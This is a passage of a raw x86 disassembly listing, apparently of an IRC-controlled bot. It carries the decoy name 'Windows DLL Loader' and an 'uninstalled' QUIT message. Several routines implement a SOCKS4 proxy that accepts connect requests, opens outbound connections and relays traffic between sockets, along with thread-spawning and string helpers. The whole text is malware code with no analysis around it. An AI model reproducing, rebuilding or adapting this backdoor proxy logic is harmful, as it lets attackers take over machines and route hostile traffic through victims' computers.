		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset dword_41EBFC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	ds:dword_417254	; WSACleanup
		push	0
		call	ds:dword_41705C	; ExitProcess


loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------


loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------


loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset dword_41EBFC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset dword_41EBFC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	ds:dword_417254	; WSACleanup
		push	0
		call	ds:dword_41705C	; ExitProcess

locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
					; sub_407148+1C2j
		leave
		retn
sub_407148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40732D	proc near		; DATA XREF: sub_40764D+145o

var_16F0	= dword	ptr -16F0h
var_16EC	= dword	ptr -16ECh
var_16E8	= dword	ptr -16E8h
var_16E4	= dword	ptr -16E4h
var_16E0	= byte ptr -16E0h
var_6E0		= byte ptr -6E0h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_5CF		= byte ptr -5CFh
var_5CE		= dword	ptr -5CEh
var_5C8		= byte ptr -5C8h
var_1C8		= dword	ptr -1C8h
var_1BE		= byte ptr -1BEh
var_1AE		= byte ptr -1AEh
var_1B		= byte ptr -1Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_1C8]
		mov	[ebp+var_5D4], eax
		push	0
		push	408h
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	ds:dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40738F
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_407396


loc_40738F:				; CODE XREF: sub_40732D+5Aj
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407396:				; CODE XREF: sub_40732D+60j
		movzx	eax, [ebp+var_5D0]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, [ebp+var_5CF]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	[ebp+var_16EC],	1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------


loc_4073BA:				; CODE XREF: sub_40732D+73j
					; sub_40732D+7Fj
		and	[ebp+var_16EC],	0


loc_4073C1:				; CODE XREF: sub_40732D+8Bj
		mov	eax, [ebp+var_16EC]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_1BE]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp+var_1BE]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	[ebp+var_4], 0


loc_4073F5:				; CODE XREF: sub_40732D+A6j
					; sub_40732D+C2j
		movsx	eax, [ebp+var_1B]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_407423
		mov	[ebp+var_16F0],	offset byte_41DF00
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_40732D+E8j
		mov	[ebp+var_16F0],	offset dword_418EEC


loc_40742D:				; CODE XREF: sub_40732D+F4j
		push	[ebp+var_16F0]
		movzx	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_407456:				; CODE XREF: sub_40732D+CEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_4074A0:				; CODE XREF: sub_40732D+12Dj
		push	0Ah
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE]
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE+2]
		call	ds:dword_41721C	; inet_ntoa
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_5E0], eax
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	[ebp+var_5E0], 0
		jnz	short loc_407537
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407537:				; CODE XREF: sub_40732D+1D7j
		mov	[ebp+var_5CF], 5Ah
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch


loc_407555:				; CODE XREF: sub_40732D+2FDj
		push	[ebp+var_5D4]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	ds:dword_417248	; recv
		mov	[ebp+var_16E4],	eax
		cmp	[ebp+var_16E4],	0
		jz	short loc_407597
		cmp	[ebp+var_16E4],	0FFFFFFFFh
		jnz	short loc_40759C


loc_407597:				; CODE XREF: sub_40732D+25Fj
		jmp	loc_40762F
; ---------------------------------------------------------------------------


loc_40759C:				; CODE XREF: sub_40732D+268j
		push	[ebp+var_16E4]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_4075BD:				; CODE XREF: sub_40732D+236j
					; sub_40732D+28Cj
		push	[ebp+var_5E0]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	ds:dword_417248	; recv
		mov	[ebp+var_16E8],	eax
		cmp	[ebp+var_16E8],	0
		jz	short loc_4075FF
		cmp	[ebp+var_16E8],	0FFFFFFFFh
		jnz	short loc_407601


loc_4075FF:				; CODE XREF: sub_40732D+2C7j
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407601:				; CODE XREF: sub_40732D+2D0j
		push	[ebp+var_16E8]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407622:				; CODE XREF: sub_40732D+29Ej
					; sub_40732D+2F1j
		push	32h
		call	ds:dword_41709C	; Sleep
		jmp	loc_407555
; ---------------------------------------------------------------------------


loc_40762F:				; CODE XREF: sub_40732D:loc_407597j
					; sub_40732D+28Ej ...
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: sub_40732D+64j
					; sub_40732D+16Ej ...
		leave
		retn	4
sub_40732D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764D	proc near		; DATA XREF: sub_4077DD+B4o

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jnz	short loc_4076A8
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------


loc_4076A8:				; CODE XREF: sub_40764D+46j
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4076CB:				; CODE XREF: sub_40764D+B9j
					; sub_40764D+E1j ...
		push	3E8h
		push	[ebp+var_1C4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	[ebp+var_1C8], 0
		jnz	short loc_4076FD


loc_4076F8:				; CODE XREF: sub_40764D+A0j
		jmp	loc_4077BF
; ---------------------------------------------------------------------------


loc_4076FD:				; CODE XREF: sub_40764D+A9j
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407708:				; CODE XREF: sub_40764D+B7j
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_407730
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_40764D+D3j
		mov	eax, [ebp+var_1CC]
		mov	ecx, [ebp+var_1C8]
		mov	[eax], ecx
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1B6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp+var_1A6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_1CC]
		push	offset sub_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	[ebp+var_1CC]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_4077BA:				; CODE XREF: sub_40764D+153j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------


loc_4077BF:				; CODE XREF: sub_40764D:loc_4076F8j
		push	[ebp+var_1C4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: sub_40764D+56j
		leave
		retn	4
sub_40764D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax


loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------


loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------


loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DF00


loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset sub_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------


loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------


loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------


loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------


loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------


loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0


loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------


loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E


loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E


loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0


loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------


loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------


loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------


loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------


loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58


loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------


loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------


loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------


loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE


loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------


loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1


loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------


loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_407B5E+41j
